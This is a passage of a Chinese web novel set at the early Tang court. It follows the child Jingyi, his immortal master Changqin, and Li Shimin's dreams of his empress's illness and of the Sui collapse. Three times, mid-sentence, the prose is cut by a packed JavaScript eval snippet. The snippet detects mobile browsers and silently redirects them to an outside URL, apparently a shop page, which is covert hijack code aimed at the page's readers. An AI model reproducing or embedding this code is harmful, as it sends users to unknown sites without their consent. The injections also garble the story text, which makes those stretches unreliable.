他最后一句话说得极轻,景颐没听清,只捕捉到共鸣、律动几个词。但他敏锐地感觉到师父此刻的情绪有些不同,不是难过,更像是一种,沉静的瞭望。 他放下石头,蹭到长琴身边,把小脑袋靠在师父胳膊上:“师父不怕。颐儿帮你一起找。我耳朵可灵了,下次再听到这种声音,一定告诉你!” 长琴垂下眼帘,看着他信赖明亮的眼睛,眼底那丝遥远的凝重渐渐化开。他伸手揉了揉景颐细软的头发:“好。” 恰在此时,院外传来熟悉的铃铛声和孩童笑语,是丽质带着李治,午后睡醒便寻过来了。 景颐立刻蹦起来,献宝似的捧起那块还在嗡鸣的响岩:“阿姊!雉奴!快看!我师父从地底下带回来的会唱歌的石头!” 三个小脑袋立刻凑到了一处。李治好奇地想舔,被丽质红着脸拦住。景颐学着师父的样子,煞有介事地叩击石孔,努力想让它“唱”得更响亮些。 长琴没有打扰他们。他拿起那卷刻着地脉回响波纹的竹简,走到廊下阴影处。 指尖抚过那些起伏的刻痕,灵力微吐。 一段低沉、厚重、仿佛来自大地肺腑深处的旋律,如暗流般缓缓淌出。 这旋律与昨日祭祀时那辉煌贯天的《云门》截然不同,却奇异地互补。 一个在上,沟通天地神祇;一个在下,安抚山川地脉。 若《鸣岐谱》完整,此二者或许本该和谐共鸣。 他抬眼,望向院中嬉闹的孩童。 长琴收起竹简,那低沉的地脉回响悄然隐去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114023|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他心中已隐约有了下一步的方向。这长安城,这正在走向极盛的王朝,本身或许就是寻找《鸣岐谱》核心篇章最关键的地方。 廊外,风穿过竹林,沙沙作响,恍若另一重轻柔的回音。 —— 丽质最终也没让李治舔到那块响岩,小家伙瘪着嘴,眼看金豆子就要掉下来。 景颐眼珠一转,把石头塞给李治抱着,自己却从怀里掏出个更吸引人的玩意儿,是长琴带回来的小陶罐。 “看这个!更厉害!”他小心翼翼地打开一条缝,几颗米粒大的孢子滚到他掌心,在午后廊下的阴影里,发出柔和的、萤火虫似的微光。 “哇!”李治的眼泪瞬间收了回去,伸出小胖手指,想碰又不敢碰。 丽质也凑近了看,惊奇地问:“它会发光!是星星的种子吗?” “才不是呢,”景颐得意地扬起小下巴,把师父的话努力加工成自己的版本,“这是长在地底下的小灯笼,靠听后土娘娘打呼噜发光!昨天那个黑衣爷爷来的时候,它们要是也在,肯定亮得像小太阳!” 他说着,把一颗孢子放在丽质手心里,又放一颗在李治肉乎乎的手背上。微光映着孩子细嫩的皮肤,暖暖的,并不烫手。李治咯咯笑起来,觉得手背痒痒的。 “它们现在为什么不那么亮呀?”丽质细声问。 “因为现在没有那种声音呀。”景颐理所当然地说,“师父说,要像昨天祭祀那样,好多人一起认真想事情,或者、或者哪里有好大好大的动静,它们才会特别亮。” 他想起师父说那种声音可能藏在战争、祭祀那些地方,心里有点模糊的概念,但又说不清。不过这不重要,重要的是现在它们会发光,而且朋友们都喜欢。 三个孩子头碰头,围着那几点微光,看了好一阵子。景颐忽然灵机一动,把孢子拢在一起,用手虚虚罩着,对丽质和李治神秘兮兮地说:“我们来许愿吧!对着小灯笼许愿,说不定后土娘娘能听见呢!” 丽质觉得有趣,点点头,闭上眼睛,小声说:“愿耶耶娘娘身体康健,愿大唐风调雨顺。” 她已经很有点小公主的模样了。 李治学姐姐,也用力闭紧眼,睫毛颤啊颤,憋了半天才说:“吃糖饼!” 他最诚实的愿望逗得景颐和丽质都笑了。 轮到景颐了。他看看掌心安静发光的孢子,又偷偷瞄了一眼廊下静坐抚琴的师父。师父垂着眼,好像没注意他们,但景颐知道,师父什么都能听见。 他凑近孢子,用只有自己和小灯笼能听见的气音,飞快地许愿:“后土娘娘,求你保佑师父快点找到会唱歌的谱子,保佑李叔叔不再做吓人的梦,保佑……嗯,保佑明天还有槐花冷淘吃!” 许完愿,他像完成了一件大事,长长舒了口气,把孢子小心地收回陶罐,重新封好。心里觉得踏实了不少,仿佛那几点微弱的光,真的把他的愿望带到很深很深的地底下去了。 夕阳把竹影拉得长长的。嬷嬷来催了几次,丽质才牵着一步三回头、还惦记着小灯笼的李治离开。 景颐把陶罐和响岩并排放在自己小床的枕头边,打算晚上看着它们睡觉。梦里或许能见到更亮的光,或者听见后土娘娘的呼噜声呢。 他爬上床时,听见廊下传来师父最后一个悠长的泛音,像晚风一样,轻轻拂过凝云轩的每一片竹叶。 今晚,一定会做个亮晶晶的、安稳的好梦。景颐这么想着,蜷进被子里,很快沉入了带着草木清香的睡乡。 他完全不知道,此刻在两仪殿的书房里,他的李叔叔正对着摊开的舆图和奏疏,眉头深锁。 14. 第 14 章 景颐枕边的地光藓孢子,那夜并未如他所愿,带来什么亮晶晶的美梦。 相反,它像一簇被无意间引入寂静深潭的微弱星火,映照出的,却是潭底沉睡已久的、属于另一个灵魂的沉重倒影。 是夜,李世民宿于立政殿。 连日来,祭祀大典的庄重、地官显圣的玄奇、太子复述神祇颔首时的郑重,以及白日与重臣推敲边镇改制细则的耗神…… 诸多心绪与思虑沉甸甸地积在胸口。他拥着已熟睡的长孙皇后,鼻尖萦绕着她发间淡淡的、宁神的苏合香,却迟迟无法入眠。 窗外月色朦胧。他起身,披衣踱至外间,目光落在案头一枚景颐前日玩耍时落下的、温润的青玉环佩上。 那是长琴给孩子的小玩意儿,说是戴着安神。鬼使神差地,李世民将那玉环握入掌心。玉石触手生温,带着孩童干净的气息,竟让他紧绷的神经松懈了一刹。 就在这一刹松懈间,困意如潮水漫上。他回到床边,握着玉环躺下,很快沉入一片混沌的雾中。 不多时,李世民猛地惊醒,冷汗浸透中衣。 梦中的灰白、药味、观音婢阖眼前那温柔而了然的平静…… 每一个细节都像冰锥凿进心口,他下意识收紧手臂,将枕边温暖鲜活的身体更深地拥入怀中,力道之大,让半梦半醒的长孙皇后轻轻“唔”了一声。 “二郎?”她睡意朦胧地转过身,指尖触及他冰凉的额头和狂乱的心跳,瞬间清醒,“又梦魇了?这次是……” 李世民将脸埋在她肩头,久久不语,只是手臂收得更紧。过了好半晌,他才沙哑开口,声音闷闷的:“无事……许是近来太累。睡吧。” 他无法说出口。那些关于气疾、操劳、早衰的破碎字眼,还有梦中孩子们惊慌的脸……每一个都让他喉头发紧。 他甚至无法像面对烽火长安的幻象时那样,带着帝王的决绝去审视、筹划。这是纯粹的、私人的恐惧,面对失去,他无能为力。 这一夜的后半段,他无意识地、一遍遍轻吻她的发顶,一直睁眼到天明。 次日,李世民眼下带着明显的青黑,但朝会上依旧条理清晰,只是目光偶尔会失焦片刻。午膳后,他屏退所有侍从,独自一人穿过重重宫苑,踏入了凝云轩。 长琴正在院中那丛特意移栽的翠竹旁。他面前摊着邙山带回的响岩和竹简,指尖虚悬其上,似在感应着什么。 景颐则蹲在几步外的小池塘边,全神贯注地用一根细竹枝教导一尾锦鲤如何跳出更完美的水花,嘴里还念念有词:“往上!扭腰!对!就是这样……哎呀笨死了!” “仙长。”李世民的声音有些干涩。 长琴抬眸,琉璃色的目光在他脸上停顿一息,便了然。他并未起身,只微微颔首:“陛下气色不佳,心神动荡。” 李世民扯了扯嘴角,想挤出一个从容的笑,却失败了。他走到石桌对面坐下,双手无意识地握紧,又松开。几次欲言又止。 池塘边传来“噗通”一声,伴随着景颐的欢呼:“跳起来啦!哈哈哈!” 孩童无忧无虑的笑声像一道光,刺破了凝云轩内凝滞的沉重。李世民紧绷的肩膀几不可察地松了一分。 “我……”他终于开口,声音压得极低,带着一种罕见的、近乎迷茫的困惑,“昨夜,因接触景颐落下的佩饰而入梦。” 长琴静静听着,指尖在响岩粗糙的表面轻轻抚过。 “此次所见,非关战火,非关朝局。”李世民喉结滚动,每一个字都说得艰难, “是……关于我的观音婢。我看见她,病体沉疴,日渐憔悴,终至……”他猛地顿住,深吸一口气, “梦中尚有气疾、操劳、早衰等语萦绕。仙长,此梦可是……亦是溯梦所示的一种可能?” 最后几个字,几乎轻不可闻。这不再是询问国运的君主,而是一个害怕得到肯定答案的夫婿。 长琴沉默片刻。他能感觉到眼前这位人间帝王身上传来的、混杂着恐惧、悲伤与一丝渺茫希冀的复杂心绪,远比谈及安史之乱时更加汹涌而真实。 “陛下,”他缓缓道,“溯梦所映,多为与梦主气运深切交感之焦点,或过往,或未来可能之支流。皇后殿下与陛下休戚与共,自然在此列中。梦中所显之象,可视为一种基于当前脉络,若不加干预,可能延伸出的一种趋向。” “可能延伸……”李世民咀嚼着这个词,眼中骤然迸发出一丝光,“也就是说,未必是定数?若能干预,或可避免?” “天道之下,并无绝对定数。”长琴的声音平静无波,“然干预亦需顺势而为,不可强求。且……” 他看向李世民,目光澄澈,“陛下梦中所忧,具体为何?” 李世民张了张嘴,那些关于“少生子嗣”、“避免操劳”的话在舌尖滚了几滚,却怎么也吐不出来。 这完全背离了他自幼所受的教导和帝王的责任。多子多福,皇后贤德,管理后宫、延绵皇嗣乃是天经地义…… 他该如何对一个方外之人,启齿自己内心这份自私的、甚至可能被视为不祥和软弱的祈愿? 就在这时。 “师父!李叔叔!” 景颐不知何时结束了教学,举着湿漉漉的、还沾着片鱼鳞的小手,炮弹一样冲了过来,被长琴伸手抵着他的额头,才没一头扎进长琴怀里。 他站定身子,扭头好奇地看着李世民:“李叔叔,你脸色好白哦,是不是生病啦?生病要吃药!很苦的那种!” 孩子纯真的问候和夸张的皱眉表情,像一阵不合时宜却恰到好处的微风,吹散了石桌边几乎凝固的沉重。 李世民看着景颐亮晶晶的、写满关切的眼睛,心中那点难以启齿的纠结,忽然就松动了些许。他勉强笑了笑:“我无碍。只是,有些事想不明白。” “想不明白就问师父呀!”景颐理所当然地说,他踮脚拍了拍李世民的胳膊,一副我教你的小大人模样,“师父什么都懂!虽然有时候说话我听不懂,但肯定是对的!” 他眼珠一转,又神秘兮兮地压低声音:“李叔叔你是不是也做吓人的梦啦?我有时候也会!梦见被好多书追着跑,还会变成妖怪咬我!后来师父给我弹琴,就好多啦!你也让师父给你弹琴吧!” 童言稚语,却歪打正着。 李世民看着景颐,又看看神色平静的长琴,胸中那股郁结之气,忽然就散了。他面对的并非庙堂之上的谋臣,亦非需要维持帝王威仪的子民。 在这里,他或许可以暂时放下那些沉重的冠冕,只作为一个心有忧惧的凡人。 他深吸一口气,转向长琴,终于以一种更直白、也更像请教的口吻说道:“仙长,我梦中所见皇后之疾,似与长久劳心、体质耗损有关。依仙长之见,若欲调理养护,使其根基稳固,寿数绵长,除寻医问药、静心休养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114024|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外,可还有何需特别注意、或避免之处?” 他尽量说得委婉,但最后一句几,还是泄露了他最深层的忧虑。 长琴何等人物,如何听不出弦外之音。他目光在李世民紧绷的脸上停留一瞬,又掠过旁边正竖着耳朵好奇听着的景颐,眼中闪过一丝几不可察的了然,随即恢复平静。 “陛下。”他的目光似有意无意地扫过池塘里一株并蒂莲, “天地生养万物,各依其性,各承其力。参天巨木,固然可期,幽兰弱质,亦有其美。养护之道,首在知止与顺性。知其所能承,不使过劳,顺其自然之态,不妄加催伐。于人而言,心神耗损、元气流散,皆为大忌。至于子嗣……” 他顿了顿,见李世民神色骤然紧张,才缓缓继续道:“乃天地人伦,自然之理。然,理虽自然,亦需根基稳固,方能瓜瓞绵绵,福泽绵长。若本元有亏,强求反损,非智者所为。顺其时节,培本固原,待根基厚实,则水到渠成,方是长久之计。” 这番话,说得玄之又玄,既未直言少生,却又句句指向养护根本、不妄催伐、顺其自然。既符合天道自然的道理,又巧妙地避开了直接挑战世俗礼法的尖锐。 李世民听懂了。他紧绷的心弦,在这一刻,终于缓缓松开。长琴没有给他一个确切的是或否,却给了他一个可以遵循的、更高层次的道理。他可以依此道理,去说服自己,也更有底气去安排一切。 “我……明白了。”他长长舒出一口气,仿佛卸下了千斤重担,眉宇间的郁色散去了大半,“多谢仙长指点。” “指点不敢当。”长琴淡然道,“不过是些浅见。陛下若欲调理,或可先从饮食、起居、心境入手。太医院中,当有擅长调理养护之良医。” “我省得。”李世民点头,心中已有了盘算。太医院固然要用,或许还可暗中寻访些民间的妇科圣手、养生大家。无论如何,方向已然清晰。 “师父!”景颐等了半天,见大人说完了听不懂的话,立刻插嘴,举着还湿着的小手,“你们说完啦?那李叔叔还听不听琴啦?我帮你求师父!师父弹琴最好听了!” 李世民看着孩子热情洋溢的脸,失笑摇头,心中的阴霾彻底被这童真驱散。他伸手,想摸摸景颐的头,看到他手上的水渍和疑似鱼鳞的东西,又默默收了回来。 “今日便不听琴了。”他站起身,对长琴郑重一揖,“改日再来叨扰仙长。” 离开凝云轩时,夏日的阳光洒在身上,竟有了几分暖意。他回头望去,只见景颐正踮着脚,试图把沾了鱼鳞的手往长琴袖子上蹭,被长琴用一根手指抵着额头推开,小家伙不依不饶,咯咯笑着又扑上去。 寻常的、生机勃勃的喧闹。 李世民笑了笑,转身,步伐稳健地走向立政殿。 他有了新的、必须赢下的战场。这一次,不是为了江山,而是为了那个曾与他共患难、如今更需他悉心呵护的人。 而在他身后,长琴制住了捣乱的徒弟,目光若有所思地望向李世民离去的方向。 帝王的命星轨迹,似乎因一段个人情感的强烈介入,而产生了极其细微的偏转。这种偏转是好是坏,会引发何种连锁,犹未可知。 他低头,对上景颐懵懂好奇的眼睛。 “师父,李叔叔是不是不害怕啦?” “或许。”长琴轻轻弹了下他的额头,“去洗手。” “哦。” 15. 第 15 章 长琴回到凝云轩,已近一月。时值八月,秋老虎的余威尚存,但早晚的风已带上凉意。 邙山带回的地脉回响,需以特殊韵律每日温养激发,方能稳固转化为可用的安流乐章。 故而每日晨昏,凝云轩内便会流淌出低沉浑厚、迥异于《九霄环佩》清越之音的曲调。 景颐听了几日,便宣称这调子“像后土娘娘打呼噜,听着好睡”,常在那旋律里蜷成一团,睡得小脸通红。 这一个月里,景颐的日子过得充实无比。白日在宫中与丽质、李治嬉戏,偶尔被李世民叫去考问些简单的字句,或听些开国故事。傍晚便回凝云轩,听师父抚琴,或是摆弄那些地光藓孢子和嗡嗡作响的响岩。 日子似乎恢复了以往的节奏。 只是立政殿往凝云轩送的点心里,悄然多了几味药膳糕点,模样精巧,气味却带着淡淡参茸甘香。 长孙皇后亲自来过两次,气色红润,笑容温婉,只字不提陛下异常的关怀,只与长琴品茶,看孩子们嬉戏,临行前总会柔声对景颐道:“景颐要听师父话,莫要贪凉。” 李世民再来时,眉宇间那抹因梦境而生的惊惶已沉淀为一种更深沉的专注。 他与长琴对坐,话题偶尔会从《鸣岐谱》、边镇改制,延伸到些养生导引的皮毛,间或提及太医署新呈上的几道温补方子“似有可取之处”。 长琴多数时静听,偶尔言及“固本培元,阴阳相济”之理,目光掠过庭院里追着一只碧眼波斯猫上蹿下跳的景颐,意有所指:“有时,顺其天性,反是养护之道。” 陛下颔首,深以为然。 这日午后,景颐刚被师父按着临完三篇字,便如蒙大赦,揣着丽质托人新送的九连环,巡逻般溜出了凝云轩。 他如今在宫里已是熟面孔,侍卫嬷嬷见他独自在划定范围内活动,大多含笑目送,只远远跟着。 他今日的目标是去看看算盘做得怎么样了。 自从那日他画了那歪歪扭扭的图,又被长孙皇后吩咐“试试看”之后,这事儿仿佛就没了下文。 但他记得,前几日隐约听见两个路过的户部小官低声议论,说什么“梁国公督促”“奇巧之物”“尚未得其法”,便惦记上了。 他熟门熟路往户部官署所在的皇城东南区域溜达,心里盘算着能不能“巧遇”那两个曾被他指点过的书吏。 刚绕过一处存放仪仗的库房拐角,差点迎面撞上两堵“铁塔”。 景颐“哎呀”一声,急刹住脚,抬头一看。 只见两位身着常服、却难掩彪悍之气的大汉正并肩走来。 一人面色黝黑,虬髯如戟,虎目生光。 另一人面容清癯些,三缕长髯,目光沉静锐利。 正是鄂国公尉迟敬德与卫国公李靖。 景颐眼睛一亮,他记得这两人! 那天在山上,就是他们护在李叔叔身前,还对师父拔过刀,虽然后来被师父吓住了。 这几个月他多在宫内苑囿玩耍,李世民也有意让重臣与他保持距离,以免多生事端,是以竟是入宫后头一回这般近碰上。 “是你们!”景颐指着他们,声音清脆。 尉迟敬德与李靖自然也记得这个小贵人。见他突然冒出,俱是一怔,随即停下脚步。 尉迟敬德浓眉一挑,哈哈笑道:“某当是谁,原是景颐小郎君。这般急匆匆,要往何处去?” 李靖则微微颔首,算是见礼,目光在景颐身上一扫,见他衣着整齐,独自一人却无慌色,心中暗忖这孩子胆子倒是不小。 景颐不答反问,乌溜溜的眼珠在尉迟敬德脸上那部威风凛凛的大胡子上转了转,满是好奇:“尉迟将军,你的胡子好威风!打仗的时候,敌人会不会想揪它?” “噗——”尉迟敬德身后的亲兵没忍住,笑出了声,被另一人一瞪,连忙憋住。 尉迟敬德自己也是乐了,铜铃大眼一瞪,故意板起脸,手却得意地捋了捋胡子:“嘿!小郎君,某这胡子可是宝贝!敌人见了先惧三分!真要有那不长眼的敌人,某就……” 他做了个挥刀的手势,“咔嚓!给他削平咯!” 景颐被他夸张的动作逗得咯咯笑,觉得这个黑脸将军有趣,胆子更大了。他又转向李靖,歪着头打量。 这个将军看起来就严肃多了,不像会讲故事的样子。景颐想起听来的零碎故事,努力组织语言: “李将军,我听说你特别会跑……不是,是带兵跑得又快又远,去打坏人!那你害怕吗?我有时候晚上一个人,会有点怕黑。带那么多兵,是不是就不怕了?” 李靖没料到孩子会问这个,目光微动,严肃的面容柔和了些许:“为将者,并非不知惧怕。然心中有比惧怕更重要之事,身后家园,麾下将士。念及此,便可一往无前。” 景颐似懂非懂地“哦”了一声,小脑袋瓜里把家园将士自动替换成了李叔叔、大姐姐、师父,还有丽质阿姊他们。他觉得这个道理他能明白一点点。 接着,他想起昨天在御花园看到的蚂蚁大战,觉得这和打仗有点像,便兴致勃勃地分享起来: “将军将军,我昨天看到蚂蚁打架了!可凶了!赢的那群把输的那窝的洞都占了,还把它们的粮食搬光光!输的小蚂蚁在洞口饿得直转圈,好可怜……” 他小脸皱成一团,是真的为蚂蚁难过,随即抬起头,带着纯粹的困惑,“人打仗……赢了也会这样吗?那输了的人家里的小娃娃,是不是也没饭吃,没地方住了?他们也会哭吗?” 这稚嫩却无比直白的问题,像一颗小小的石子,投入两位名将深不见底的心湖。 尉迟敬德脸上的豪迈笑容瞬间凝固了。李靖抚须的手停在半空,那总是沉稳如深潭的眼眸里,清晰地掠过一抹沉重的痛色。 他们都是尸山血海里趟过来的人,见过真正的饿殍遍野,稚子哀啼,那景象远比蚂蚁搬家残酷千万倍。 这孩童无心的话语,却精准地撕开了胜利凯歌之下,最鲜血淋漓、也最令人无言的疮疤。 四周的空气仿佛都沉了沉。 尉迟敬德喉结滚动,半晌,才用比刚才低沉许多的声音道:“小郎君,打仗,很多时候,是没法子。别人要来毁你的家,伤你的亲人,你不得不拿起刀枪。赢了……是能保住自己的家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114025|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。可你说的对,输的那边……” 他重重叹了口气,没再说下去。 李靖接过话,声音缓慢而清晰,像是在对景颐说,也像是在对自己说: “所以,为将者,手中虽握利刃,心中当存悲悯。上兵伐谋,其次伐交,其次伐兵,其下攻城。若能不战而屈人之兵,保得两方百姓安宁,方是上策。然世间事,往往难以尽如人意。” 他看着景颐清澈见底的眼睛,目光温和,“小郎君能怜惜蚂蚁,此心甚善。望你永葆此心。” 景颐听得半懂不懂,但保住自己的家、让百姓安宁他是明白的,觉得这很对,便用力点了点头。 他心思跳得快,刚才的沉重感转眼就飞了,鼻尖忽然动了动,凑近尉迟敬德嗅了嗅,又退后一步,皱着鼻子小声嘀咕: “将军身上……有股味儿,像铁,像皮子,还有点尘土和汗的味道。唔……我昨晚做梦,好像也闻到过类似的,吵吵闹闹的,好多人在喊,马在叫,还有这个味道……” 他纯粹是联想,说完自己也没在意。却不知这话听在尉迟敬德和李靖耳中,不亚于一声惊雷! 两人再次对视,眼中俱是惊疑不定。陛下近来深锁的眉头、对这孩子超乎寻常的关照、那些隐约流传的仙缘、异梦之说…… 刹那间似乎都有了模糊却骇人的指向。 李靖迅速敛去异色,对景颐温言道:“梦中所闻,多是虚妄,日有所思罢了。小郎君不必放在心上。今日与我们说的话,也莫要再与旁人提起,记住了吗?” 景颐见他们又严肃起来,虽然觉得大人们变脸真快,还是乖乖点头:“哦,记住了。” 这时,一直跟在后面的嬷嬷适时上前,恭敬行礼后,对景颐柔声道:“小郎君,时辰不早,该回去用点心啦。” 景颐这才想起自己原本是要去看算盘的,被这一打岔全忘了。他有点遗憾,但对两位将军摆摆手:“将军再见!我回去吃点心啦!” 看着那小小的身影跟着嬷嬷走远,尉迟敬德摸着胡子,咂咂嘴:“这孩子……有点邪性。话问得人心里发毛。” 李靖望着景颐消失的方向,目光深远:“非是邪性,是灵性通透,不染尘滓,故能言常人所不能言,见常人所不愿见。陛下将他置于宫中,礼敬有加,恐非无因。” 他顿了顿,“今日之语,你我要斟酌,禀于陛下。” “某晓得。” 两位国公转身离去,身影没入皇城巍峨的殿宇阴影中。而关于算盘的初版模型,此刻正在户部某间值房内,被几个绞尽脑汁的吏员围着。 那是一个粗糙的长方形木框,横着固定了数根细竹竿,竹竿上串着打磨得不甚圆润的木珠,上下分档,能拨动,却无人真正明白该如何用它“又快又准”地计算。 景颐回到凝云轩,吃着新送来的桂花蓉馅儿点心,早把算盘和将军都抛在了脑后。 他全然不知,自己那番关于蚂蚁与战争的稚语,连同最后那句关于梦中之吵的随口嘀咕,在不久之后,通过尉迟敬德与李靖之口,作为一件有趣又略显特别的轶事,传入正在两仪殿对着舆图沉思的李世民耳中。 16. 第 16 章 景颐那句“做梦闻到打仗味道”的话,当日傍晚便由尉迟敬德与李靖斟酌着言辞,禀报给了李世民。 李世民正在批阅一份关于山东赈灾的奏疏,闻言,朱笔在“流民安抚”四字上悬停良久,墨迹晕开一小团阴影。 “我知道了。”他最终只是淡淡应了一句,挥退了二人。 殿内重归寂静。烛火跳跃,将李世民的身影拉长,投在身后那幅巨大的《九州山河图》上。他起身,踱至图前,目光掠过蜿蜒的黄河、起伏的太行,最终落在关东那片广袤平原上。 隋末。 这个念头像蛰伏已久的兽,猛地探出利爪,攥住了他的心脏。 他怎么会不记得?他的少年时代,便是踩着前朝崩塌的余烬走来的。 他见过饿殍载道,见过烽烟蔽日,见过父亲李渊在晋阳起兵前夜书房里彻夜不灭的灯火,更亲手终结了那个混乱的时代。 那是刻在骨血里的记忆,是大唐之所以为唐的沉重前因。 他一直避免去深想。身为新朝的皇帝,他更愿意将目光投向未来,缔造属于自己的贞观。 可近来,溯梦所示,未来有安史烽火,现实所感,皇后健康堪忧。如今,连景颐这孩子都能闻到战争的余味,甚至牵引出他内心最深处关于王朝为何会亡的恐惧。 有些东西,避无可避。 或许,他需要的不是逃避,而是,更清晰地审视。看清楚那深渊究竟是如何形成的,才能确保自己,以及自己的子孙,不会重蹈覆辙。 这个念头一旦生起,便如同燎原星火,再也无法扑灭。 三日后,李世民处理完紧要政务,借口“心神不宁,需静养半日”,摆驾凝云轩。他没有带任何侍从,只身一人踏入那片翠竹环绕的院落。 长琴正在廊下抚琴。弹的并非安流章,亦非地脉回响,而是一曲李世民从未听过的、古朴苍茫的调子,音律间仿佛有金戈铁马之声隐约可闻,却又被更宏大的、宛如大地叹息般的低鸣所笼罩。 没在玩耍,而是罕见地趴在长琴脚边的蒲团上睡着了。小家伙怀里还抱着那块响岩,小脸侧枕着石面,睡得正香,鼻息均匀。那地光藓的陶罐就放在他手边。 “仙长。”李世民驻足,低声唤道。 琴声未停,长琴抬眸看了他一眼,指尖韵律未变,只微微颔首。 “我今日前来,是想……”李世民顿了顿,目光落在景颐安睡的侧脸上,“景颐前日偶遇敬德、药师,提及梦中闻得战阵喧嚣。我近来亦常思及前朝旧事,心中难安。” 他走到廊下,在长琴对面坐下,隔着袅袅琴音与沉睡的孩童,缓缓道:“仙长曾言,溯梦所映,多与梦主心念深切相关。我想……” 他深吸一口气,像是做出了某个重大的决定,“我想借景颐之力,再看清楚一些。看看那场导致前朝崩解的乱局,究竟始于何处,又终于何因。非为猎奇,实为镜鉴。” 长琴的琴声在此刻转了一个极其低沉幽微的音。他指尖按弦,余音在竹叶间萦绕不散。 “陛下欲观隋末?”长琴的声音平静无波,却仿佛看穿了李世民平静外表下的惊涛骇浪, “此非美景,更非吉兆。其中血火离乱,众生悲苦,恐非常人所能承受。陛下当真要看?” “要看。”李世民答得斩钉截铁,目光灼然,“知其所以败,方能避其所以祸。我既承天命,抚有四海,便不能蒙昧于前车之鉴。纵使是修罗场,是无间景,我也需亲眼看一看。” 长琴沉默片刻,目光垂落,看向脚边沉睡的景颐。孩子无知无觉,抱着温润的响岩,仿佛抱着一个安稳的梦。 “景颐今日玩闹疲乏,此刻睡意正沉,灵台空明,易于交感。陛下若心意已决,此刻便是时机。”长琴道, “然,梦境无涯,神魂有寄。陛下需谨守灵台一点清明,只作壁上观,切莫沉溺其中,更不可妄动干预之念。否则,梦境反噬,恐伤及陛下与景颐心神。” “我明白。”李世民郑重点头。他走到景颐身侧,小心地在那蒲团边坐下。孩子身上传来淡淡的奶香和草木清气,怀中的响岩发出极微弱的、平稳的嗡鸣。 长琴不再多言。他指尖轻抬,重新落于琴弦,这一次,流淌出的旋律更加低沉、缓慢,宛如一条无形的绳索,温柔地缠绕在沉睡的景颐与静坐的李世民周围。 那旋律并不激昂,却带着一种奇异的牵引力,仿佛在平静的水面下,打开了通往深海的甬道。 李世民闭上眼,调整呼吸,将手轻轻覆在景颐抱着响岩的小手上。孩子的肌肤温软,脉搏平稳。 起初,是熟悉的黑暗与混沌。 随即,无边的喧嚣如同决堤的洪水,轰然涌入! 洛阳,天津桥。 李世民站在熙攘的人流中,却无人能看见他。眼前的洛阳城,与他记忆中的、也与如今百废待兴的洛阳截然不同。 城池空前宏伟,宫阙连绵如云,运河上千帆竞渡,码头上堆积如山的锦缎、瓷器、香料在阳光下反射着令人目眩的光。 胡商穿着奇装异服,高声叫卖;士女罗绮满身,环佩叮当;酒楼丝竹之声不绝于耳,空气中弥漫着浓烈的酒香与脂粉气。 极盛。极奢。极繁华。 然而,在这令人窒息的繁华表象下,李世民却听到了别的东西。 他听到搬运巨木石材的役夫沉重的喘息和压抑的呻吟,看到他们黝黑脊背上被烈日炙烤出的层层盐霜与新旧鞭痕。 他听到运河岸边,有老妪望着远去的粮船低声啜泣,念叨着被征去挖河的独子“三月无音讯”。 他看到市井深处,衣衫褴褛的乞儿争抢着酒肆泼出的残羹,眼神麻木而凶狠。 画面流转。 江都宫,迷楼。 丝竹宴乐之声靡靡不绝,酒池肉林,穷极奢华。 高台之上,一个身着明黄袍服、面容依稀能辨出年轻时俊朗、此刻却浮肿苍白、眼神涣散的帝王,正搂着美姬,醉眼朦胧地欣赏着殿中仿照仙境布置的奇景异戏。阶下群臣或谄媚附和,或低头掩目。 李世民看见有内侍匆匆上前,低声禀报什么,面色惶急。杨广不耐烦地挥手,将一杯美酒泼在内侍脸上:“扫兴!些许流民,也敢坏朕雅兴?令郡县剿灭便是!” “流民……”李世民心中一沉。 场景骤然切换。不再是具体的宫殿城池,而是无数破碎的画面与声音交织成的洪流。 山东、河南,千里沃野,赤地千里。 龟裂的土地上,倒伏着饿殍,乌鸦盘旋。幸存的百姓面如菜色,眼神空洞,拖家带口,像沉默的蚁群,向着未知的方向蠕动。 有人低声唱着哀戚的歌谣:“譬如辽东死,斩头何所伤……”① 辽东,风雪凛冽。无数衣衫单薄的士兵在泥泞和严寒中跋涉,冻饿而死者相枕于道。 将领的呵斥、皮鞭的呼啸、伤兵的惨叫,与呼啸的北风混成一曲地狱悲歌。高句丽人的城堡在远处山峦上沉默矗立。 晋阳,唐国公府书房。一个面容沉稳、目光锐利的中年人正与几个心腹和年少的自己密议,烛火将他们的影子巨大地投在墙壁上,气氛凝重而紧张。 李世民甚至能听到父亲心中那份沉重的决断与对未来的忧虑。 瓦岗寨,大旗猎猎。李密、翟让等人意气风发,下方是望不到头的、虽然衣衫褴褛却眼神炽热的起义军。篝火映照着他们年轻而充满反叛精神的脸庞。 